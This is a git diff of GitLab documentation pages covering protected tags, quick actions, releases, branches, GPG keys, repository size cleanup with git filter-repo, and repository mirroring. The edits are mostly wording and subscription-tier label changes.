[Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/merge_requests/10356) in GitLab 9.1. @@ -15,11 +15,13 @@ This feature evolved out of [protected branches](protected_branches.md) ## Overview -Protected tags will prevent anyone from updating or deleting the tag, and will prevent creation of matching tags based on the permissions you have selected. By default, anyone without Maintainer permission will be prevented from creating tags. +Protected tags prevent anyone from updating or deleting the tag, and prevent +creation of matching tags based on the permissions you have selected. By default, +anyone without Maintainer [permissions](../permissions.md) is prevented from creating tags. ## Configuring protected tags -To protect a tag, you need to have at least Maintainer permission level. +To protect a tag, you need to have at least Maintainer [permissions](../permissions.md). 1. Navigate to the project's **Settings > Repository**: @@ -29,17 +31,18 @@ To protect a tag, you need to have at least Maintainer permission level.  -1. From the **Allowed to create** dropdown, select who will have permission to create matching tags and then click **Protect**: +1. From the **Allowed to create** dropdown, select users with permission to create + matching tags, and click **Protect**:  -1. Once done, the protected tag will appear in the **Protected tags** list: +1. After done, the protected tag displays in the **Protected tags** list:  ## Wildcard protected tags -You can specify a wildcard protected tag, which will protect all tags +You can specify a wildcard protected tag, which protects all tags matching the wildcard. For example: | Wildcard Protected Tag | Matching Tags | @@ -52,9 +55,9 @@ matching the wildcard. For example: Two different wildcards can potentially match the same tag. For example, `*-stable` and `production-*` would both match a `production-stable` tag. In that case, if _any_ of these protected tags have a setting like -**Allowed to create**, then `production-stable` will also inherit this setting. +**Allowed to create**, then `production-stable` also inherit this setting. -If you click on a protected tag's name, you will be presented with a list of +If you click on a protected tag's name, GitLab displays a list of all matching tags:  diff --git a/doc/user/project/push_options.md b/doc/user/project/push_options.md index 8af4307c013..f94a4075363 100644 --- a/doc/user/project/push_options.md +++ b/doc/user/project/push_options.md @@ -5,7 +5,7 @@ info: "To determine the technical writer assigned to the Stage/Group associated type: reference, howto --- -# Push Options +# Push Options **(FREE)** > [Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/merge_requests/15643) in GitLab 11.7. diff --git a/doc/user/project/quick_actions.md b/doc/user/project/quick_actions.md index 64be3182dab..ac65fabd6a7 100644 --- a/doc/user/project/quick_actions.md +++ b/doc/user/project/quick_actions.md @@ -34,9 +34,9 @@ The following quick actions are applicable to descriptions, discussions and thre | `/assign @user` | ✓ | ✓ | | Assign one user. | | `/assign @user1 @user2` | ✓ | ✓ | | Assign multiple users. **(STARTER)** | | `/assign me` | ✓ | ✓ | | Assign yourself. | -| `/assign_reviewer @user` | | ✓ | | Assign one user as a reviewer. | -| `/assign_reviewer @user1 @user2` | | ✓ | | Assign multiple users as reviewers. **(STARTER)** | -| `/assign_reviewer me` | | ✓ | | Assign yourself as a reviewer. | +| `/assign_reviewer @user` or `/reviewer @user` or `/request_review @user` | | ✓ | | Assign one user as a reviewer. | +| `/assign_reviewer @user1 @user2` or `/reviewer @user1 @user2` or `/request_review @user1 @user2` | | ✓ | | Assign multiple users as reviewers. **(STARTER)** | +| `/assign_reviewer me` or `/reviewer me` or `/request_review me` | | ✓ | | Assign yourself as a reviewer. | | `/award :emoji:` | ✓ | ✓ | ✓ | Toggle emoji award. | | `/child_epic <epic>` | | | ✓ | Add child epic to `<epic>`. The `<epic>` value should be in the format of `&epic`, `group&epic`, or a URL to an epic ([introduced in GitLab 12.0](https://gitlab.com/gitlab-org/gitlab/-/issues/7330)). **(ULTIMATE)** | | `/clear_weight` | ✓ | | | Clear weight. **(STARTER)** | @@ -49,7 +49,7 @@ The following quick actions are applicable to descriptions, discussions and thre | `/done` | ✓ | ✓ | ✓ | Mark to do as done. | | `/draft` | | ✓ | | Toggle the draft status. | | `/due <date>` | ✓ | | | Set due date. Examples of valid `<date>` include `in 2 days`, `this Friday` and `December 31st`. | -| `/duplicate <#issue>` | ✓ | | | Close this issue and mark as a duplicate of another issue. **(CORE)** Also, mark both as related. **(STARTER)** | +| `/duplicate <#issue>` | ✓ | | | Close this issue and mark as a duplicate of another issue. **(FREE)** Also, mark both as related. **(STARTER)** | | `/epic <epic>` | ✓ | | | Add to epic `<epic>`. The `<epic>` value should be in the format of `&epic`, `group&epic`, or a URL to an epic. **(PREMIUM)** | | `/estimate <<W>w <DD>d <hh>h <mm>m>` | ✓ | ✓ | | Set time estimate. For example, `/estimate 1w 3d 2h 14m`. | | `/iteration *iteration:"iteration name"` | ✓ | | | Set iteration. For example, to set the `Late in July` iteration: `/iteration *iteration:"Late in July"` ([introduced in GitLab 13.1](https://gitlab.com/gitlab-org/gitlab/-/issues/196795)). **(STARTER)** | @@ -62,7 +62,7 @@ The following quick actions are applicable to descriptions, discussions and thre | `/promote` | ✓ | | | Promote issue to epic. **(PREMIUM)** | | `/publish` | ✓ | | | Publish issue to an associated [Status Page](../../operations/incident_management/status_page.md) ([Introduced in GitLab 13.0](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/30906)) **(ULTIMATE)** | | `/reassign @user1 @user2` | ✓ | ✓ | | Replace current assignees with those specified. **(STARTER)** | -| `/rebase` | | ✓ | | Rebase source branch. This will schedule a background task that attempt to rebase the changes in the source branch on the latest commit of the target branch. If `/rebase` is used, `/merge` will be ignored to avoid a race condition where the source branch is merged or deleted before it is rebased. If there are merge conflicts, GitLab will display a message that a rebase cannot be scheduled. Rebase failures will be displayed with the merge request status. | +| `/rebase` | | ✓ | | Rebase source branch. This schedules a background task that attempts to rebase the changes in the source branch on the latest commit of the target branch. If `/rebase` is used, `/merge` is ignored to avoid a race condition where the source branch is merged or deleted before it is rebased. If there are merge conflicts, GitLab displays a message that a rebase cannot be scheduled. Rebase failures are displayed with the merge request status. | | `/reassign_reviewer @user1 @user2` | | ✓ | | Replace current reviewers with those specified. **(STARTER)** | | `/relabel ~label1 ~label2` | ✓ | ✓ | ✓ | Replace current labels with those specified. | | `/relate #issue1 #issue2` | ✓ | | | Mark issues as related. **(STARTER)** | @@ -87,8 +87,8 @@ The following quick actions are applicable to descriptions, discussions and thre | `/todo` | ✓ | ✓ | ✓ | Add a to-do item. | | `/unassign @user1 @user2` | ✓ | ✓ | | Remove specific assignees. **(STARTER)** | | `/unassign` | | ✓ | | Remove all assignees. | -| `/unassign_reviewer @user1 @user2` | | ✓ | | Remove specific reviewers. **(STARTER)** | -| `/unassign_reviewer` | | ✓ | | Remove all reviewers. | +| `/unassign_reviewer @user1 @user2` or `/remove_reviewer @user1 @user2` | | ✓ | | Remove specific reviewers. **(STARTER)** | +| `/unassign_reviewer` or `/remove_reviewer` | | ✓ | | Remove all reviewers. | | `/unlabel ~label1 ~label2` or `/remove_label ~label1 ~label2` | ✓ | ✓ | ✓ | Remove specified labels. | | `/unlabel` or `/remove_label` | ✓ | ✓ | ✓ | Remove all labels. | | `/unlock` | ✓ | ✓ | | Unlock the discussions. | diff --git a/doc/user/project/releases.md b/doc/user/project/releases.md deleted file mode 100644 index 6dd5a6f0b0d..00000000000 --- a/doc/user/project/releases.md +++ /dev/null @@ -1,8 +0,0 @@ ---- -redirect_to: 'releases/index.md' ---- - -This document was moved to [another location](releases/index.md). - -<!-- This redirect file can be deleted after February 1, 2021. --> -<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/user/project/releases/index.md b/doc/user/project/releases/index.md index 90d7ac0a3c2..b5751797870 100644 --- a/doc/user/project/releases/index.md +++ b/doc/user/project/releases/index.md @@ -407,7 +407,7 @@ Here is an example of a release evidence object: } ``` -### Collect release evidence **(PREMIUM ONLY)** +### Collect release evidence **(PREMIUM SELF)** > [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/199065) in [GitLab Premium](https://about.gitlab.com/pricing/) 12.10. @@ -475,6 +475,16 @@ terminal. Read the [Release CLI documentation](https://gitlab.com/gitlab-org/release-cli/-/blob/master/docs/index.md) for details. +## Release Metrics **(PREMIUM)** + +> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/259703) in GitLab Premium 13.9. + +Group-level release metrics are available by navigating to **Group > Analytics > CI/CD**. +These metrics include: + +- Total number of releases in the group +- Percentage of projects in the group that have at least one release + <!-- ## Troubleshooting Include any troubleshooting steps that you can foresee. If you know beforehand what issues diff --git a/doc/user/project/repository/branches/index.md b/doc/user/project/repository/branches/index.md index ffd4b383bcb..4d0cf28593d 100644 --- a/doc/user/project/repository/branches/index.md +++ b/doc/user/project/repository/branches/index.md @@ -5,7 +5,7 @@ info: "To determine the technical writer assigned to the Stage/Group associated type: concepts, howto --- -# Branches +# Branches **(FREE)** A branch is a version of a project's working tree. You create a branch for each set of related changes you make. This keeps each set of changes separate from @@ -53,14 +53,14 @@ the target is the project's **default branch**. The default branch is also initially [protected](../../protected_branches.md#protected-branches) against accidental deletion and forced pushes. -### Custom initial branch name **(CORE ONLY)** +### Custom initial branch name **(FREE SELF)** > - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/221013) in GitLab 13.2. > - It's deployed behind a feature flag, enabled by default. > - It's enabled on GitLab.com. > - It cannot be enabled or disabled per-project. > - It's recommended for production use. -> - For GitLab self-managed instances, GitLab administrators can opt to [disable it](#enable-or-disable-custom-initial-branch-name). **(CORE ONLY)** +> - For GitLab self-managed instances, GitLab administrators can opt to [disable it](#enable-or-disable-custom-initial-branch-name). **(FREE SELF)** By default, when you create a new project in GitLab, the initial branch is called `master`. For self-managed instances, a GitLab administrator can customize the initial branch name to something @@ -71,7 +71,7 @@ else. This way, every new project created from then on will start from the custo 1. Change the default initial branch to a custom name of your choice. 1. **Save Changes**. -#### Enable or disable custom initial branch name **(CORE ONLY)** +#### Enable or disable custom initial branch name **(FREE SELF)** Setting the default initial branch name is under development but ready for production use. It is deployed behind a feature flag that is **enabled by default**. diff --git a/doc/user/project/repository/file_finder.md b/doc/user/project/repository/file_finder.md index 4f996df5fef..df3e24fbf30 100644 --- a/doc/user/project/repository/file_finder.md +++ b/doc/user/project/repository/file_finder.md @@ -17,8 +17,8 @@ project.  -For those who prefer to keep their fingers on the keyboard, there is a -[shortcut button](../../shortcuts.md) as well, which you can invoke from _anywhere_ +If you prefer to keep their fingers on the keyboard, use the +[shortcut button](../../shortcuts.md), which you can invoke from anywhere in a project. Press `t` to launch the File search function when in **Issues**, diff --git a/doc/user/project/repository/forking_workflow.md b/doc/user/project/repository/forking_workflow.md index f7da3629c23..1a5e169ec6b 100644 --- a/doc/user/project/repository/forking_workflow.md +++ b/doc/user/project/repository/forking_workflow.md @@ -5,7 +5,7 @@ info: To determine the technical writer assigned to the Stage/Group associated w disqus_identifier: 'https://docs.gitlab.com/ee/workflow/forking_workflow.html' --- -# Project forking workflow +# Project forking workflow **(FREE)** Whenever possible, it's recommended to work in a common Git repository and use [branching strategies](../../../topics/gitlab_flow.md) to manage your work. However, diff --git a/doc/user/project/repository/git_blame.md b/doc/user/project/repository/git_blame.md index 4322c79daa7..81995291911 100644 --- a/doc/user/project/repository/git_blame.md +++ b/doc/user/project/repository/git_blame.md @@ -6,7 +6,7 @@ type: reference, howto description: "Documentation on Git file blame." --- -# Git file blame +# Git file blame **(FREE)** > [Introduced](https://gitlab.com/gitlab-org/gitlab-foss/commit/39c657930625ddc3ac8a921f01ffc83acadce68f) in GitLab 2.5. diff --git a/doc/user/project/repository/git_history.md b/doc/user/project/repository/git_history.md index 51cc6bb3483..2e27cab4177 100644 --- a/doc/user/project/repository/git_history.md +++ b/doc/user/project/repository/git_history.md @@ -6,7 +6,7 @@ type: reference, howto description: "Documentation on Git file history." --- -# Git file history +# Git file history **(FREE)** > [Introduced](https://gitlab.com/gitlab-org/gitlab/blob/9ba1224867665844b117fa037e1465bb706b3685/app/controllers/commits_controller.rb) in GitLab 0.8.0 diff --git a/doc/user/project/repository/gpg_signed_commits/index.md b/doc/user/project/repository/gpg_signed_commits/index.md index 57e9d814c95..1a46c140507 100644 --- a/doc/user/project/repository/gpg_signed_commits/index.md +++ b/doc/user/project/repository/gpg_signed_commits/index.md @@ -5,7 +5,7 @@ info: "To determine the technical writer assigned to the Stage/Group associated type: concepts, howto --- -# Signing commits with GPG +# Signing commits with GPG **(FREE)** > - [Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/merge_requests/9546) in GitLab 9.5. > - Subkeys support was added in GitLab 10.1. @@ -138,27 +138,25 @@ started: gpg --armor --export 30F2B65B9246B6CA ``` -1. Finally, copy the public key and [add it in your profile settings](#adding-a-gpg-key-to-your-account) +1. Finally, copy the public key and [add it in your user settings](#adding-a-gpg-key-to-your-account) ## Adding a GPG key to your account NOTE: -Once you add a key, you cannot edit it, only remove it. In case the paste -didn't work, you'll have to remove the offending key and re-add it. +After you add a key, you cannot edit it, only remove it. In case the paste +didn't work, you have to remove the offending key and re-add it. -You can add a GPG key in your profile's settings: +You can add a GPG key in your user settings: -1. On the upper right corner, click on your avatar and go to your **Settings**. - -  - -1. Navigate to the **GPG keys** tab and paste your _public_ key in the 'Key' - box. +1. In the top-right corner, select your avatar. +1. Select **Edit profile**. +1. In the left sidebar, select **GPG Keys**. +1. Paste your _public_ key in the **Key** text box.  -1. Finally, click on **Add key** to add it to GitLab. You will be able to see - its fingerprint, the corresponding email address and creation date. +1. Select **Add key** to add it to GitLab. You can see the key's fingerprint, the corresponding + email address, and creation date.  @@ -248,22 +246,24 @@ in case your key has been compromised. To revoke a GPG key: -1. On the upper right corner, click on your avatar and go to your **Settings**. -1. Navigate to the **GPG keys** tab. -1. Click on **Revoke** besides the GPG key you want to delete. +1. In the top-right corner, select your avatar. +1. Select **Edit profile**. +1. In the left sidebar, select **GPG Keys**. +1. Select **Revoke** next to the GPG key you want to delete. ## Removing a GPG key Removing a key **does not unverify** already signed commits. Commits that were -verified by using this key will stay verified. Only unpushed commits will stay -unverified once you remove this key. To unverify already signed commits, you need +verified by using this key stay verified. Only unpushed commits stay +unverified after you remove this key. To unverify already signed commits, you need to [revoke the associated GPG key](#revoking-a-gpg-key) from your account. To remove a GPG key from your account: -1. On the upper right corner, click on your avatar and go to your **Settings**. -1. Navigate to the **GPG keys** tab. -1. Click on the trash icon besides the GPG key you want to delete. +1. In the top-right corner, select your avatar. +1. Select **Edit profile**. +1. In the left sidebar, select **GPG Keys**. +1. Select the trash icon (**{remove}**) next to the GPG key you want to delete. ## Rejecting commits that are not signed **(PREMIUM)** diff --git a/doc/user/project/repository/index.md b/doc/user/project/repository/index.md index c4f5d330f63..5a915ebef89 100644 --- a/doc/user/project/repository/index.md +++ b/doc/user/project/repository/index.md @@ -5,7 +5,7 @@ info: To determine the technical writer assigned to the Stage/Group associated w type: concepts, howto --- -# Repository +# Repository **(FREE)** A [repository](https://git-scm.com/book/en/v2/Git-Basics-Getting-a-Git-Repository) is what you use to store your codebase in GitLab and change it with version control. @@ -14,7 +14,7 @@ A repository is part of a [project](../index.md), which has a lot of other featu ## Create a repository To create a new repository, all you need to do is -[create a new project](../../../gitlab-basics/create-project.md) or +[create a new project](../../../user/project/working_with_projects.md#create-a-project) or [fork an existing project](forking_workflow.md). Once you create a new project, you can add new files via UI @@ -43,7 +43,7 @@ You can either use the user interface (UI), or connect your local computer with GitLab [through the command line](../../../gitlab-basics/command-line-commands.md#start-working-on-your-project). To configure [GitLab CI/CD](../../../ci/README.md) to build, test, and deploy -your code, add a file called [`.gitlab-ci.yml`](../../../ci/quick_start/README.md) +your code, add a file called [`.gitlab-ci.yml`](../../../ci/quick_start/index.md) to your repository's root. **From the user interface:** @@ -242,13 +242,32 @@ Learn how to [clone a repository through the command line](../../../gitlab-basic Alternatively, clone directly into a code editor as documented below. -### Clone to Apple Xcode +### Clone and open in Apple Xcode > [Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/issues/45820) in GitLab 11.0. Projects that contain a `.xcodeproj` or `.xcworkspace` directory can now be cloned -into Xcode using the new **Open in Xcode** button, located next to the Git URL -used for cloning your project. The button is only shown on macOS. +into Xcode on macOS. To do that: + +1. From the GitLab UI, go to the project's overview page. +1. Click **Clone**. +1. Select **Xcode**. + +The project will be cloned onto your computer in a folder of your choice and you'll +be prompted to open in XCode. + +### Clone and open in Visual Studio Code + +> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/220957) in GitLab 13.8. + +All projects can be cloned into Visual Studio Code. To do that: + +1. From the GitLab UI, go to the project's overview page. +1. Click **Clone**. +1. Select **VS Code** + +You'll be prompted to select a folder to clone the project into. When VS Code has +successfully cloned your project, it will open the folder. ## Download Source Code @@ -270,6 +289,28 @@ By clicking the download icon, a dropdown will open with links to download the f - **Artifacts:** allows users to download the artifacts of the latest CI build. +## Redirects when changing repository paths + +When a repository path changes, it is essential to smoothly transition from the +old location to the new one. GitLab provides two kinds of redirects: the web UI +and Git push/pull redirects. + +Depending on the situation, different things apply. + +When [renaming a user](../../profile/index.md#changing-your-username), +[changing a group path](../../group/index.md#changing-a-groups-path) or [renaming a repository](../settings/index.md#renaming-a-repository): + +- Existing web URLs for the namespace and anything under it (such as projects) will + redirect to the new URLs. +- Starting with GitLab 10.3, existing Git remote URLs for projects under the + namespace redirect to the new remote URL. Every time you push/pull to a + repository that has changed its location, a warning message to update + your remote is displayed instead of rejecting your action. + This means that any automation scripts, or Git clients continue to + work after a rename, making any transition a lot smoother. +- The redirects are available as long as the original path is not claimed by + another group, user or project. + <!-- ## Troubleshooting Include any troubleshooting steps that you can foresee. If you know beforehand what issues diff --git a/doc/user/project/repository/jupyter_notebooks/index.md b/doc/user/project/repository/jupyter_notebooks/index.md index 91fe9049b53..123df9097f9 100644 --- a/doc/user/project/repository/jupyter_notebooks/index.md +++ b/doc/user/project/repository/jupyter_notebooks/index.md @@ -4,7 +4,7 @@ group: Source Code info: "To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments" type: reference --- -# Jupyter Notebook Files +# Jupyter Notebook Files **(FREE)** > [Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/issues/2508/) in GitLab 9.1. diff --git a/doc/user/project/repository/reducing_the_repo_size_using_git.md b/doc/user/project/repository/reducing_the_repo_size_using_git.md index fb798738160..7847930366a 100644 --- a/doc/user/project/repository/reducing_the_repo_size_using_git.md +++ b/doc/user/project/repository/reducing_the_repo_size_using_git.md @@ -23,107 +23,28 @@ Rewriting repository history is a destructive operation. Make sure to back up yo you begin. The best way back up a repository is to [export the project](../settings/import_export.md#exporting-a-project-and-its-data). -NOTE: -Git LFS files can only be removed by an Administrator using a -[Rake task](../../../raketasks/cleanup.md). Removal of this limitation -[is planned](https://gitlab.com/gitlab-org/gitlab/-/issues/223621). - ## Purge files from repository history -To reduce the size of your repository in GitLab, you must remove references to large files from branches, tags, and +To reduce the size of your repository in GitLab, you must first remove references to large files from branches, tags, *and* other internal references (refs) that are automatically created by GitLab. These refs include: - `refs/merge-requests/*` for merge requests. - `refs/pipelines/*` for [pipelines](../../../ci/troubleshooting.md#fatal-reference-is-not-a-tree-error). - `refs/environments/*` for environments. +- `refs/keep-around/*` are created as hidden refs to prevent commits referenced in the database from being removed -Git doesn't usually download these refs to make cloning and fetch faster, but we can use the `--mirror` option to -download all the advertised refs. - -1. [Install `git filter-repo`](https://github.com/newren/git-filter-repo/blob/main/INSTALL.md) - using a supported package manager or from source. - -1. Clone a fresh copy of the repository using `--bare` and `--mirror`: - - ```shell - git clone --bare --mirror https://gitlab.example.com/my/project.git - ``` - -1. Using `git filter-repo`, purge any files from the history of your repository. - - To purge large files, the `--strip-blobs-bigger-than` option can be used: - - ```shell - git filter-repo --strip-blobs-bigger-than 10M - ``` - - To purge large files stored using Git LFS, the `--blob--callback` option can - be used. The example below, uses the callback to read the file size from the - Git LFS pointer, and removes files larger than 10MB. - - ```shell - git filter-repo --blob-callback ' - if blob.data.startswith(b"version https://git-lfs.github.com/spec/v1"): - size_in_bytes = int.from_bytes(blob.data[124:], byteorder="big") - if size_in_bytes > 10*1000: - blob.skip() - ' - ``` - - To purge specific large files by path, the `--path` and `--invert-paths` options can be combined: - - ```shell - git filter-repo --path path/to/big/file.m4v --invert-paths - ``` - - See the - [`git filter-repo` documentation](https://htmlpreview.github.io/?https://github.com/newren/git-filter-repo/blob/docs/html/git-filter-repo.html#EXAMPLES) - for more examples and the complete documentation. - -1. Force push your changes to overwrite all branches on GitLab: - - ```shell - git push origin --force 'refs/heads/*' - ``` - - [Protected branches](../protected_branches.md) cause this to fail. To proceed, you must - remove branch protection, push, and then re-enable protected branches. - -1. To remove large files from tagged releases, force push your changes to all tags on GitLab: - - ```shell - git push origin --force 'refs/tags/*' - ``` - - [Protected tags](../protected_tags.md) cause this to fail. To proceed, you must remove tag - protection, push, and then re-enable protected tags. - -1. To prevent dead links to commits that no longer exist, push the `refs/replace` created by `git filter-repo`. - - ```shell - git push origin --force 'refs/replace/*' - ``` - - Refer to the Git [`replace`](https://git-scm.com/book/en/v2/Git-Tools-Replace) documentation for information on how this works. - -1. Run a [repository cleanup](#repository-cleanup). - -NOTE: -Project statistics are cached for performance. You may need to wait 5-10 minutes -to see a reduction in storage utilization. - -## Purge files from GitLab storage - -In addition to the refs mentioned above, GitLab also creates hidden `refs/keep-around/*`to prevent commits being deleted. Hidden refs are not advertised, which means we can't download them using Git, but these refs are included in a project export. +These refs are not automatically downloaded and hidden refs are not advertised, but we can remove these refs using a project export. -To purge files from GitLab storage: +To purge files from a GitLab repository: 1. [Install `git filter-repo`](https://github.com/newren/git-filter-repo/blob/main/INSTALL.md) using a supported package manager or from source. 1. Generate a fresh [export from the project](../settings/import_export.html#exporting-a-project-and-its-data) and download it. + This project export contains a backup copy of your repository *and* refs + we can use to purge files from your repository. 1. Decompress the backup using `tar`: @@ -134,7 +55,7 @@ To purge files from GitLab storage: This contains a `project.bundle` file, which was created by [`git bundle`](https://git-scm.com/docs/git-bundle). -1. Clone a fresh copy of the repository from the bundle: +1. Clone a fresh copy of the repository from the bundle using `--bare` and `--mirror` options: ```shell git clone --bare --mirror /path/to/project.bundle @@ -149,7 +70,7 @@ To purge files from GitLab storage: the previous run. You need this file from **every** run. Do the next step every time you run `git filter-repo`. - To purge all large files, the `--strip-blobs-bigger-than` option can be used: + To purge all files larger than 10M, the `--strip-blobs-bigger-than` option can be used: ```shell git filter-repo --strip-blobs-bigger-than 10M @@ -236,14 +157,14 @@ This: - Runs `git gc --prune=30.minutes.ago` against the repository to remove unreferenced objects. Repacking your repository temporarily causes the size of your repository to increase significantly, because the old pack files are not removed until the new pack files have been created. -- Unlinks any unused LFS objects currently attached to your project, freeing up storage space. +- Unlinks any unused LFS objects attached to your project, freeing up storage space. - Recalculates the size of your repository on disk. GitLab sends an email notification with the recalculated repository size after the cleanup has completed. If the repository size does not decrease, this may be caused by loose objects being kept around because they were referenced in a Git operation that happened -in the last 30 minutes. Try re-running these steps once the repository has been +in the last 30 minutes. Try re-running these steps after the repository has been dormant for at least 30 minutes. When using repository cleanup, note: @@ -263,7 +184,7 @@ When using repository cleanup, note: Repository size limits: - Can [be set by an administrator](../../admin_area/settings/account_and_limit_settings.md#account-and-limit-settings) - on self-managed instances. **(STARTER ONLY)** + on self-managed instances. **(PREMIUM SELF)** - Are [set for GitLab.com](../../gitlab_com/index.md#account-and-limit-settings). When a project has reached its size limit, you cannot: diff --git a/doc/user/project/repository/repository_mirroring.md b/doc/user/project/repository/repository_mirroring.md index 4a7f75ba1ac..4d5e4a5ef02 100644 --- a/doc/user/project/repository/repository_mirroring.md +++ b/doc/user/project/repository/repository_mirroring.md @@ -5,7 +5,7 @@ info: To determine the technical writer assigned to the Stage/Group associated w disqus_identifier: 'https://docs.gitlab.com/ee/workflow/repository_mirroring.html' --- -# Repository mirroring +# Repository mirroring **(FREE)** Repository mirroring allows for mirroring of repositories to and from external sources. It can be used to mirror branches, tags, and commits between repositories. It is useful when you want to use @@ -16,8 +16,8 @@ at most once every 5 minutes on GitLab.com with [the limit set by the administra There are two kinds of repository mirroring supported by GitLab: -- [Push](#pushing-to-a-remote-repository): for mirroring a GitLab repository to another location. **(CORE)** -- [Pull](#pulling-from-a-remote-repository): for mirroring a repository from another location to GitLab. **(STARTER)** +- [Push](#pushing-to-a-remote-repository): for mirroring a GitLab repository to another location. **(FREE)** +- [Pull](#pulling-from-a-remote-repository): for mirroring a repository from another location to GitLab. **(PREMIUM)** When the mirror repository is updated, all new branches, tags, and commits will be visible in the project's activity feed. @@ -37,7 +37,7 @@ The following are some possible use cases for repository mirroring: - You migrated to GitLab but still need to keep your project in another source. In that case, you can simply set it up to mirror to GitLab (pull) and all the essential history of commits, tags, - and branches will be available in your GitLab instance. **(STARTER)** + and branches will be available in your GitLab instance. **(PREMIUM)** - You have old projects in another source that you don't use actively anymore, but don't want to remove for archiving purposes. In that case, you can create a push mirror so that your active GitLab repository can push its changes to the old location. @@ -47,10 +47,10 @@ The following are some possible use cases for repository mirroring: GitLab.com repository that's public, allows you to open source specific projects and contribute back to the open source community. -## Pushing to a remote repository **(CORE)** +## Pushing to a remote repository **(FREE)** > - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/249) in GitLab Enterprise Edition 8.7. -> - [Moved to GitLab Core](https://gitlab.com/gitlab-org/gitlab-foss/-/merge_requests/18715) in 10.8. +> - [Moved to GitLab Free](https://gitlab.com/gitlab-org/gitlab-foss/-/merge_requests/18715) in 10.8. > - [LFS support over HTTPS added](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/40137) in 13.5 For an existing project, you can set up push mirroring as follows: @@ -205,10 +205,11 @@ If it is not working correctly a red `error` tag appears and shows the error mes 1. Fill in the **Password** field with the GitLab personal access token created on the destination GitLab instance. 1. Click the **Mirror repository** button. -## Pulling from a remote repository **(STARTER)** +## Pulling from a remote repository **(PREMIUM)** > - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/51) in GitLab Enterprise Edition 8.2. -> - [Added Git LFS support](https://gitlab.com/gitlab-org/gitlab/-/issues/10871) in [GitLab Starter](https://about.gitlab.com/pricing/) 11.11. +> - [Added Git LFS support](https://gitlab.com/gitlab-org/gitlab/-/issues/10871) in GitLab 11.11. +> - Moved to GitLab Premium in 13.9. You can set up a repository to automatically have its branches, tags, and commits updated from an upstream repository. @@ -262,9 +263,10 @@ Repository mirrors are updated as Sidekiq becomes available to process them. If - Fails (for example, a branch diverged from upstream), it will be attempted again later. Mirrors can fail up to 14 times before they will not be enqueued for update again. -### Overwrite diverged branches **(STARTER)** +### Overwrite diverged branches **(PREMIUM)** -> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/4559) in [GitLab Starter](https://about.gitlab.com/pricing/) 10.6. +> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/4559) in GitLab 10.6. +> - Moved to GitLab Premium in 13.9. You can choose to always update your local branches with remote versions, even if they have diverged from the remote. @@ -274,7 +276,9 @@ For mirrored branches, enabling this option results in the loss of local changes To use this option, check the **Overwrite diverged branches** box when creating a repository mirror. -### Trigger pipelines for mirror updates **(STARTER)** +### Trigger pipelines for mirror updates **(PREMIUM)** + +> Moved to GitLab Premium in 13.9. If this option is enabled, pipelines will be triggered when branches or tags are updated from the remote repository. Depending on the activity of the remote @@ -282,9 +286,10 @@ repository, this may greatly increase the load on your CI runners. Only enable this if you know they can handle the load. CI will run using the credentials assigned when you set up pull mirroring. -### Hard failure **(STARTER)** +### Hard failure **(PREMIUM)** -> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/3117) in [GitLab Starter](https://about.gitlab.com/pricing/) 10.2. +> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/3117) in GitLab 10.2. +> - Moved to GitLab Premium in 13.9. Once the mirroring process is unsuccessfully retried 14 times in a row, it will get marked as hard failed. This will become visible in either the: @@ -295,9 +300,10 @@ failed. This will become visible in either the: When a project is hard failed, it will no longer get picked up for mirroring. You can resume the project mirroring again by [forcing an update](#forcing-an-update). -### Trigger an update using the API **(STARTER)** +### Trigger an update using the API **(PREMIUM)** -> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/3453) in [GitLab Starter](https://about.gitlab.com/pricing/) 10.3. +> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/3453) in GitLab 10.3. +> - Moved to GitLab Premium in 13.9. Pull mirroring uses polling to detect new branches and commits added upstream, often minutes afterwards. If you notify GitLab by [API](../../../api/projects.md#start-the-pull-mirroring-process-for-a-project), @@ -305,19 +311,21 @@ updates will be pulled immediately. For more information, see [Start the pull mirroring process for a Project](../../../api/projects.md#start-the-pull-mirroring-process-for-a-project). -## Mirror only protected branches **(STARTER)** +## Mirror only protected branches **(PREMIUM)** + +> Moved to GitLab Premium in 13.9. Based on the mirror direction that you choose, you can opt to mirror only the [protected branches](../protected_branches.md) from/to your remote repository. For pull mirroring, non-protected branches are not mirrored and can diverge. To use this option, check the **Only mirror protected branches** box when -creating a repository mirror. +creating a repository mirror. **(PREMIUM)** ## SSH authentication -> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/2551) in [GitLab Starter](https://about.gitlab.com/pricing/) 9.5 for Pull mirroring. -> - [Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/merge_requests/22982) in [GitLab Core](https://about.gitlab.com/pricing/) 11.6 for Push mirroring. +> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/2551) in GitLab 9.5 for Pull mirroring. +> - [Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/merge_requests/22982) in GitLab 11.6 for Push mirroring. SSH authentication is mutual: @@ -332,7 +340,7 @@ If you're mirroring over SSH (that is, using an `ssh://` URL), you can authentic - Password-based authentication, just as over HTTPS. - Public key authentication. This is often more secure than password authentication, - especially when the other repository supports [Deploy Keys](../../../ssh/README.md#deploy-keys). + especially when the other repository supports [deploy keys](../../../ssh/README.md#deploy-keys). To get started: @@ -393,7 +401,7 @@ 